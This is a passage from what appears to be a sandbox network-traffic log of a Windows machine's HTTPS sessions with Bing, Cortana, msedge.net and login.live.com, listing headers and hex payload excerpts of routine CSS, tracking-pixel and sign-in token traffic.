00004000uNzg2OSAxMy4xMzIgMTUuODE2MiAxMy4xODJDMTUuOTQ0NCAxMy4zOTY2IDE2LjAxODIgMTMuNjQ4OSAxNi4wMTgyIDEzLjkxNzhaIiBmaWxsPSJ1cmwoI3BhaW50NV9saW5lYXJfMTM2MF8yMDI3NykiLz4KPHBhdGggZD0iTTExLjMxMTEgNy4zNTg4M0wxMS4zMSAxNC42NzUxTDEwLjk0MDUgMTQuODk0OEwxMC42NSAxNS4w
2024-01-26 09:17:42 UTC	12	IN	Data Raw: 65 64 29 3a 66 6f 63 75 73 3a 0d 0a Data Ascii: ed):focus:

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.16	49755	13.107.42.254	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:43 UTC	481	OUT	GET /apc/trans.gif?041a329480e9cb57604d0e3397f69dd9 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: l-ring.msedge.net Connection: Keep-Alive
2024-01-26 09:17:43 UTC	706	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Thu, 28 Dec 2023 16:40:37 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: BL2r8d X-Frontend: AFD X-Machinename: BL2AA2030105039 X-Userhostaddress: 81.181.57.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7E2A4C9B5B7C4BE2B2FB66AEE9B749C7 Ref B: BL2AA2030105039 Ref C: 2024-01-26T09:17:43Z Date: Fri, 26 Jan 2024 09:17:42 GMT Connection: close
2024-01-26 09:17:43 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.16	49756	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:43 UTC	853	OUT	GET /rb/73/ortl,cc,nc/QNBBNqWD9F_Blep-UqQSqnMp-FI.css?bu=AdQJ&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:43 UTC	1206	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Mon, 15 Aug 2022 10:51:34 GMT X-EventID: 65b20ac6c29645548a51d9835f3d598c UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: MWHEEEAP0024F52 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=338347 Expires: Tue, 30 Jan 2024 07:16:50 GMT Date: Fri, 26 Jan 2024 09:17:43 GMT Content-Length: 6 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260663.406dd009 Timing-Allow-Origin: *
2024-01-26 09:17:43 UTC	6	IN	Data Raw: 7a 7b 61 3a 31 7d Data Ascii: z{a:1}

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.16	49757	13.107.42.254	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:43 UTC	481	OUT	GET /apc/trans.gif?4ec9f13efea672e8986fbf57df3f530e HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: l-ring.msedge.net Connection: Keep-Alive
2024-01-26 09:17:44 UTC	706	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Thu, 28 Dec 2023 16:40:37 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: BL2r8e X-Frontend: AFD X-Machinename: BL2AA2030110047 X-Userhostaddress: 81.181.57.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8ED937F0D78F403C9515F2F1C0C3E68B Ref B: BL2AA2030110047 Ref C: 2024-01-26T09:17:43Z Date: Fri, 26 Jan 2024 09:17:43 GMT Connection: close
2024-01-26 09:17:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.16	49758	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:44 UTC	875	OUT	GET /rb/73/ortl,cc,nc/_Flhim3Dag7tsIXg2zUCONaBlAY.css?bu=CckK1AnOCtQJ0grUCdQJ1AnUCQ&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:44 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Wed, 24 Jan 2024 14:28:56 GMT X-EventID: 65b20ac6ebfc46b193fc6665d3d587f8 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: MWHEEEAP0024F55 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=338316 Expires: Tue, 30 Jan 2024 07:16:20 GMT Date: Fri, 26 Jan 2024 09:17:44 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260664.406dd0b5 Timing-Allow-Origin: *
2024-01-26 09:17:44 UTC	15137	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 23 74 6f 70 52 65 73 75 6c 74 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 2e 6d 73 62 2d 70 65 6f 70 6c 65 20 2e 69 63 6f 6e 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 74 6f 70 52 65 73 75 6c 74 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 2e 6d 73 62 2d 70 65 6f 70 6c 65 20 2e 69 63 6f 6e 3e 69 6d 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 67 72 6f 75 70 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 2e 6d 73 62 2d 70 65 6f 70 6c 65 20 2e 69 63 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 7d 23 67 72 6f 75 70 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 2e 6d 73 62 2d 70 65 6f 70 6c 65 20 2e 69 63 6f 6e 3e 69 6d 67 7b Data Ascii: 00006000#topResults .suggestion.msb-people .icon{vertical-align:middle}#topResults .suggestion.msb-people .icon>img{border-radius:50%;height:100%;width:100%}#groups .suggestion.msb-people .icon{border-radius:50%}#groups .suggestion.msb-people .icon>img{
2024-01-26 09:17:44 UTC	9451	IN	Data Raw: 61 72 6b 54 68 65 6d 65 20 2e 70 72 65 76 69 65 77 43 6f 6e 74 61 69 6e 65 72 2e 6d 73 62 50 72 65 76 69 65 77 43 6f 6e 74 61 69 6e 65 72 20 23 62 5f 62 66 62 20 23 62 66 62 5f 63 6f 6e 74 65 6e 74 20 2e 6d 73 2d 73 65 61 72 63 68 2d 63 6f 6e 74 61 63 74 2d 61 63 74 69 6f 6e 73 2d 63 6f 6e 74 61 69 6e 65 72 2e 6d 73 2d 73 65 61 72 63 68 2d 74 65 78 74 3e 61 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 64 61 72 6b 54 68 65 6d 65 20 2e 70 72 65 76 69 65 77 43 6f 6e 74 61 69 6e 65 72 2e 6d 73 62 50 72 65 76 69 65 77 43 6f 6e 74 61 69 6e 65 72 20 23 62 5f 62 66 62 20 23 62 66 62 5f 63 6f 6e 74 65 6e 74 20 2e 6d 73 2d 73 65 61 72 63 68 2d 6d 64 2e 6d 73 2d 73 65 61 72 63 68 2d 74 65 78 74 5b 63 6c 61 73 73 2a 3d 22 6d 61 72 6b 64 6f 77 6e 43 6f 6e 74 Data Ascii: arkTheme .previewContainer.msbPreviewContainer #b_bfb #bfb_content .ms-search-contact-actions-container.ms-search-text>a>span{color:#fff}.darkTheme .previewContainer.msbPreviewContainer #b_bfb #bfb_content .ms-search-md.ms-search-text[class*="markdownCont
2024-01-26 09:17:44 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 61 63 63 6f 72 64 69 6f 6e 43 6f 6e 74 61 69 6e 65 72 22 5d 20 5b 63 6c 61 73 73 2a 3d 22 61 63 63 6f 72 64 69 6f 6e 43 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 22 5d 20 75 6c 5b 63 6c 61 73 73 2a 3d 22 6d 65 65 74 69 6e 67 4c 69 73 74 22 5d 20 69 7b 63 6f 6c 6f 72 3a 23 64 32 64 30 63 65 7d 2e 64 61 72 6b 54 68 65 6d 65 20 23 6d 73 62 50 61 6e 65 2e 70 72 65 76 69 65 77 43 6f 6e 74 61 69 6e 65 72 2e 6d 73 62 50 72 65 76 69 65 77 43 6f 6e 74 61 69 6e 65 72 20 23 62 5f 62 66 62 20 2e 6d 73 2d 73 65 61 72 63 68 2d 72 69 62 62 6f 6e 20 23 62 66 62 5f 63 6f 6e 74 65 6e 74 20 5b 63 6c 61 73 73 2a 3d 22 61 63 63 6f 72 64 69 6f 6e 43 6f 6e 74 61 69 6e 65 72 22 5d 20 5b 63 6c 61 73 73 2a 3d 22 61 63 63 6f 72 64 69 6f 6e 43 6f 6e Data Ascii: 00006000accordionContainer"] [class="accordionContentContainer"] ul[class="meetingList"] i{color:#d2d0ce}.darkTheme #msbPane.previewContainer.msbPreviewContainer #b_bfb .ms-search-ribbon #bfb_content [class="accordionContainer"] [class="accordionCon
2024-01-26 09:17:44 UTC	8204	IN	Data Raw: 6d 70 6c 65 43 6f 6e 74 61 69 6e 65 72 20 2e 66 72 65 43 6f 6e 74 65 6e 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 6d 73 62 46 72 65 43 6f 6e 74 61 69 6e 65 72 20 2e 66 72 65 45 78 61 6d 70 6c 65 43 6f 6e 74 61 69 6e 65 72 20 2e 66 72 65 45 78 61 6d 70 6c 65 48 65 61 64 65 72 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 39 35 36 29 7d 62 6f 64 79 5b 64 69 72 5d 20 2e 6d 73 62 46 72 65 43 6f 6e 74 61 69 6e 65 72 20 2e 66 72 65 45 78 61 6d 70 6c 65 43 6f 6e 74 61 69 6e 65 72 20 2e 66 72 65 45 78 61 6d 70 6c 65 48 Data Ascii: mpleContainer .freContent{font-size:13px;font-weight:600;line-height:16px;font-family:"Segoe UI";font-style:normal}.msbFreContainer .freExampleContainer .freExampleHeader{color:rgba(0,0,0,.8956)}body[dir] .msbFreContainer .freExampleContainer .freExampleH
2024-01-26 09:17:44 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 68 74 3a 32 33 36 70 78 7d 2e 64 73 62 46 75 6c 6c 57 69 64 74 68 20 2e 64 73 62 2d 68 65 72 6f 20 2e 64 73 62 2d 68 65 72 6f 5f 5f 69 6d 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 77 68 6f 6c 65 70 61 67 65 74 61 62 73 5f 5f 63 6f 6e 74 61 69 6e 65 72 2c 2e 64 73 62 46 75 6c 6c 57 69 64 74 68 20 2e 64 73 62 2d 68 65 72 6f 20 2e 64 73 62 2d 68 65 72 6f 5f 5f 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 2e 77 68 6f 6c 65 70 61 67 65 74 61 62 73 5f 5f 63 6f 6e 74 61 69 6e 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 20 38 70 78 20 30 20 30 7d 2e 64 73 62 2d 68 65 72 6f 3a 66 6f 63 75 73 2c 2e 64 73 62 2d 68 65 72 6f 5f 5f 64 69 73 6d 69 73 73 2d 69 63 6f 6e 3a 66 6f 63 75 73 2c 3a 6e 6f 74 28 2e 6f 76 65 72 6c 61 Data Ascii: 00004000ht:236px}.dsbFullWidth .dsb-hero .dsb-hero__img-container.wholepagetabs__container,.dsbFullWidth .dsb-hero .dsb-hero__content-container.wholepagetabs__container{border-radius:8px 8px 0 0}.dsb-hero:focus,.dsb-hero__dismiss-icon:focus,:not(.overla
2024-01-26 09:17:44 UTC	12	IN	Data Raw: 65 61 64 65 72 7b 6d 61 72 67 0d 0a Data Ascii: eader{marg
2024-01-26 09:17:44 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 62 6f 64 79 5b 64 69 72 5d 20 23 6d 73 62 5f 64 73 62 5f 72 6f 6f 74 20 2e 6d 73 62 64 73 62 5f 6d 61 69 6e 70 61 67 65 5f 66 61 6c 6c 62 61 63 6b 5f 62 6f 75 6e 64 61 72 79 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 7d 23 6d 73 62 5f 64 73 62 5f 72 6f 6f 74 20 2e 6d 73 62 64 73 62 5f 65 72 72 6f 72 62 6f 75 6e 64 61 72 79 5f 6d 73 69 74 5f 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 6d 73 62 5f 64 73 62 5f 72 6f 6f 74 20 2e 6d 73 62 64 73 62 5f 65 72 72 6f 72 62 6f 75 6e 64 61 72 79 5f 6d 73 69 74 5f 62 6c 6f 63 6b 20 2e 6d 73 62 64 Data Ascii: 00004000in-bottom:10px}body[dir] #msb_dsb_root .msbdsb_mainpage_fallback_boundary{padding-top:0}#msb_dsb_root .msbdsb_errorboundary_msit_block{display:flex;flex-direction:column;justify-content:center}#msb_dsb_root .msbdsb_errorboundary_msit_block .msbd
2024-01-26 09:17:44 UTC	12	IN	Data Raw: 20 2e 6d 73 62 5f 64 73 62 5f 0d 0a Data Ascii: .msb_dsb_
2024-01-26 09:17:44 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 63 6f 70 65 5f 65 6e 74 72 79 5f 62 75 74 74 6f 6e 5f 70 65 6f 70 6c 65 20 2e 6d 73 62 5f 64 73 62 5f 73 63 6f 70 65 5f 65 6e 74 72 79 5f 62 75 74 74 6f 6e 5f 74 65 78 74 7b 6c 65 66 74 3a 35 30 70 78 7d 62 6f 64 79 5b 64 69 72 3d 27 72 74 6c 27 5d 20 23 6d 73 62 5f 64 73 62 5f 72 6f 6f 74 20 2e 6d 73 62 64 73 62 2d 6d 70 2d 63 6f 6e 74 65 6e 74 20 2e 6d 73 62 5f 64 73 62 5f 73 63 6f 70 65 5f 65 6e 74 72 79 5f 62 75 74 74 6f 6e 5f 70 65 6f 70 6c 65 20 2e 6d 73 62 5f 64 73 62 5f 73 63 6f 70 65 5f 65 6e 74 72 79 5f 62 75 74 74 6f 6e 5f 74 65 78 74 7b 72 69 67 68 74 3a 35 30 70 78 7d 62 6f 64 79 5b 64 69 72 3d 27 6c 74 72 27 5d 20 23 6d 73 62 5f 64 73 62 5f 72 6f 6f 74 20 2e 6d 73 62 64 73 62 2d 6d 70 2d 63 6f 6e 74 65 6e 74 Data Ascii: 00004000scope_entry_button_people .msb_dsb_scope_entry_button_text{left:50px}body[dir='rtl'] #msb_dsb_root .msbdsb-mp-content .msb_dsb_scope_entry_button_people .msb_dsb_scope_entry_button_text{right:50px}body[dir='ltr'] #msb_dsb_root .msbdsb-mp-content
2024-01-26 09:17:44 UTC	12	IN	Data Raw: 6f 6f 74 20 2e 6d 73 62 64 73 0d 0a Data Ascii: oot .msbds

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.16	49759	40.126.28.12	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4784 Host: login.live.com
2024-01-26 09:17:44 UTC	4784	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-01-26 09:17:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Jan 2024 09:16:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C107_SN1 x-ms-request-id: 5f0e2ffd-216b-46ea-af30-44b219f5bdfc PPServer: PPV: 30 H: SN1PEPF00010FDF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Jan 2024 09:17:44 GMT Connection: close Content-Length: 11153
2024-01-26 09:17:44 UTC	11153	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.16	49760	13.107.219.254	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:44 UTC	492	OUT	GET /apc/trans.gif?a6c2370df08d5ddbbd972a0a6daf3f8a HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: t-ring-fallbacks1.msedge.net Connection: Keep-Alive
2024-01-26 09:17:44 UTC	706	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Fri, 19 Jan 2024 01:41:41 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: BN1r6a X-Frontend: AFD X-Machinename: BN1AA2051019023 X-Userhostaddress: 81.181.57.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 9F4E9C772AAD4D958F67B86DF2576E1B Ref B: BN1AA2051019023 Ref C: 2024-01-26T09:17:44Z Date: Fri, 26 Jan 2024 09:17:44 GMT Connection: close
2024-01-26 09:17:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.16	49761	13.107.219.254	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:45 UTC	492	OUT	GET /apc/trans.gif?28e669adc688893a6421d9d6f084a20e HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: t-ring-fallbacks1.msedge.net Connection: Keep-Alive
2024-01-26 09:17:45 UTC	706	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Fri, 19 Jan 2024 01:41:41 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: BN1r6b X-Frontend: AFD X-Machinename: BN1AA2051021021 X-Userhostaddress: 81.181.57.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D3D42CAB108441379D1C31C6C28C49B8 Ref B: BN1AA2051021021 Ref C: 2024-01-26T09:17:45Z Date: Fri, 26 Jan 2024 09:17:44 GMT Connection: close
2024-01-26 09:17:45 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49762	13.107.21.200	443

Timestamp	Bytes transferred	Direction	Data
